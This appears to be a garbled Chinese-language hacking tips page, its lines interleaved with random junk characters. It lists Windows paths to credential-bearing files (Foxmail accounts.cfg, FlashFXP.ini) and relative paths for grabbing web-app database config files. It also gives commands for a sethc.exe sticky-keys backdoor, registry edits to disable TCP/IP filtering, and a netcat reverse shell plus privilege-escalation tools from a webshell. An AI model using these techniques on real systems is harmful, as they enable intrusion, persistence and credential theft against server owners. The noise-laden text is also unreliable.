* ~1 j5 B% j7 ~C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
0 F; f5 N8 e& |5 N& T2 d+ _9 }9 xc:\Program Files\Tencent\RTXServer\AppConfig.xml
, A* _3 c* |, qC:\Program Files\Foxmal\Foxmail.exe
2 ]& M* H9 A6 v$ N: Q3 Y) PC:\Program Files\Foxmal\accounts.cfg
/ R* ^% |+ u& d6 u6 JC:\Program Files\tencent\Foxmal\Foxmail.exe
  f7 u+ {3 X1 F, q' N9 }C:\Program Files\tencent\Foxmal\accounts.cfg
7 b' \6 n4 L' q4 WC:\Program Files\LeapFTP 3.0\LeapFTP.exe
/ v0 {  }/ w" G+ j: ^$ P8 z4 eC:\Program Files\LeapFTP\LeapFTP.exe
( }5 X" ^6 \" K% Y  ]# Y0 pc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3.网站相对路径:
8 P0 [3 y& @. b1 b  A2 @2 y4 ]$ G7 I6 }
/config.php
. @( Y) _; U9 Q4 ^  n' B../../config.php
/ q" }- J% k+ z: n9 s../config.php
../../../config.php
/config.inc.php
0 j) X, ^6 c( R./config.inc.php
9 i# l5 \( b# S../../config.inc.php
../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
../../conn.php
& y% m' i( B7 w* }7 x# I; s7 A../conn.php
../../../conn.php
/conn.asp
- ]8 C. k  k4 Y. \: e/ }( }./conn.asp
/ n2 x5 v4 L9 W2 N* ^../../conn.asp
4 X7 e1 H3 \9 |: `5 T6 k% a- [1 C../conn.asp
../../../conn.asp
, V6 N+ a% ?- T% W" H4 s" K( ]: V/config.inc.php
7 L5 ^# l/ O0 G  Y./config.inc.php
. s6 w& N6 x% j, F../../config.inc.php
../config.inc.php
6 A- G9 |0 E, v& d% F$ Y9 ^../../../config.inc.php
) a5 L) F$ T, l# D. Q/config/config.php
! o& b! {$ ?# [( E; j../../config/config.php
../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
7 c  y9 o+ M1 M7 y& e2 ]; w8 w7 F../../config/config.inc.php
) X3 u  r6 |# a5 I../config/config.inc.php
9 [* d* g8 [; O) S0 a: M../../../config/config.inc.php
/config/conn.php
& F7 N3 q2 @0 c" X./config/conn.php
. [4 ?8 T5 p% J- v../../config/conn.php
1 L8 M& M) G, n../config/conn.php
- n% e% y( e, \( C, \7 I../../../config/conn.php
  M) O' d1 ]/ c( ^# }8 m/config/conn.asp
0 M9 P) I; n. ]3 c) \8 _& Q$ f./config/conn.asp
# x, t' A: W+ ^: E- ^: s% ?../../config/conn.asp
../config/conn.asp
# v; U5 ]4 S- z' t" b../../../config/conn.asp
+ s3 p1 ~, C* i! _/ W/config/config.inc.php
./config/config.inc.php
0 F7 G& ?; [$ n../../config/config.inc.php
5 q& m+ j) I. ~  x, ~) J& o../config/config.inc.php
( q# P: B* u3 g# l5 L* f7 y../../../config/config.inc.php
/ z0 }- \/ F/ L# N% |: c6 R/data/config.php
0 v$ E3 ?( q- o: B, i../../data/config.php
) M/ z. l9 U  a' k, k! }0 d../data/config.php
../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
6 ]+ h5 b- @3 _' z) t  y+ u../data/config.inc.php
../../../data/config.inc.php
4 }3 @7 C4 C& k- r0 ]0 O/data/conn.php
./data/conn.php
( _% M2 H9 [1 Z5 \1 Z! a; F3 F% Q../../data/conn.php
. x7 T- Q  `  z: R../data/conn.php
../../../data/conn.php
/data/conn.asp
  r8 u% v+ U5 A$ {* l1 K  i5 {./data/conn.asp
! s0 F% d5 \  p+ h: z  \# B$ m: N8 y../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
) I/ d5 h' d. z/data/config.inc.php
: Y. m+ D# q' i7 N, @0 k: B6 n7 z./data/config.inc.php
../../data/config.inc.php
$ T8 r! t+ T, b, T# I/ b+ n, S../data/config.inc.php
% U" i; y; D! ~+ b3 P../../../data/config.inc.php
! o+ u6 T: U! h- \/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
/include/config.inc.php
./include/config.inc.php
+ Y1 z/ H( D! L( W. r: F../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
2 V$ q+ D; ^6 e6 u/include/conn.php
./include/conn.php
../../include/conn.php
/ I; c& u' _& ~8 W9 f% k../include/conn.php
../../../include/conn.php
, |/ ~, O2 v% X5 ~, D/include/conn.asp
8 m( Q: Z/ ]# ?+ u./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
. `+ d0 x$ j# h+ ?& i( D! D; G./include/config.inc.php
../../include/config.inc.php
- k; K  ^  H, H! {' c- @../include/config.inc.php
/ _5 }5 o1 @& m: `9 T* C" A../../../include/config.inc.php
/inc/config.php
- ]# J5 E' e5 ~../../inc/config.php
../inc/config.php
../../../inc/config.php
* k# \$ P9 Q0 v. N# C" W/inc/config.inc.php
./inc/config.inc.php
8 {9 _* N9 F2 u" _, P( f* \../../inc/config.inc.php
. @6 R# {- i0 q6 L../inc/config.inc.php
( D- @! ~* {, G4 k& Y../../../inc/config.inc.php
# b6 U) G! U4 P+ k/inc/conn.php
1 W+ ~2 B7 w  p7 N/ y+ t. [./inc/conn.php
# |2 f& r  l7 W../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
! ^/ d: g+ |* E/inc/conn.asp
./inc/conn.asp
2 w. s$ P" e1 O# u6 F1 q../../inc/conn.asp
( _5 B! A. u3 t' z, A../inc/conn.asp
6 e* Q0 q+ \! J../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
* N7 @& a! B4 V- z) f6 g9 X../inc/config.inc.php
; w% r* j9 g9 U/ h  n2 F../../../inc/config.inc.php
5 i. A. B) ~5 e/index.php
./index.php
5 h  K2 p8 B% ?# y) L../../index.php
../index.php
../../../index.php
3 C! P# S9 d) l1 S0 M/index.asp
' x" J7 X: N5 T% N/ D./index.asp
0 t, I! c8 T* V5 [% s' r, K1 c  W1 o../../index.asp
../index.asp
8 M# k1 H9 n- v3 g../../../index.asp
替换SHIFT后门
, j7 M+ F1 q8 ]2 P0 c8 b1 N　attrib c:\windows\system32\sethc.exe -h -r -s

, W! N8 R9 ~6 H　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

. X6 F. Y3 T* _　　del c:\windows\system32\sethc.exe
. N6 r% v) X' H! P; `' ?; h
% }8 t4 V( W1 Q) I8 {　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

' D. C# \& x: E  y+ q7 ~; u8 m7 G　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
5 j0 j5 U! F& l; J) y
6 d" N  x! N- D  H( d" J) l% I　　attrib c:\windows\system32\sethc.exe +h +r +s
9 \$ Q2 z- N" g5 i2 m
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
* I; d1 f# y, y7 A! O. b去除TCPIP筛选
' U7 O7 Q& N, e! S  Q  wTCP/IP筛选在注册表里有三处，分别是：
1 B" v" `5 ^0 {9 F/ EHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
4 W0 M. Y& }+ ZHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
' i, {- J9 [7 X5 T+ s
分别用
0 S* C! V" r% ]regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
3 k( f$ [) h& B4 I( ~/ {命令来导出注册表项
* r6 i4 r3 J) J2 _
0 Z" F. P( y7 r$ M- q0 Q( l( T然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

+ B( a+ l" s  j6 G1 ?* g再将以上三个文件分别用
regedit -s D:\a.reg
, F0 O4 z3 _+ B: K9 [regedit -s D:\b.reg
regedit -s D:\c.reg
" P+ F: Q5 |1 x导入注册表即可
5 f* L0 {* Y/ o8 Q* V3 M! I) v
webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
7 s9 H# d# G7 H- b" Y例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
6 N8 V* s# y9 L! ~
) M# g! i9 S8 P) z而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
* D% I! _# @$ f1 G8 w- x! H命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
& g/ A" m8 n3 R% o. U) R却能成功。。
! }; {7 y* f9 S$ X2 f- u; |! i这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功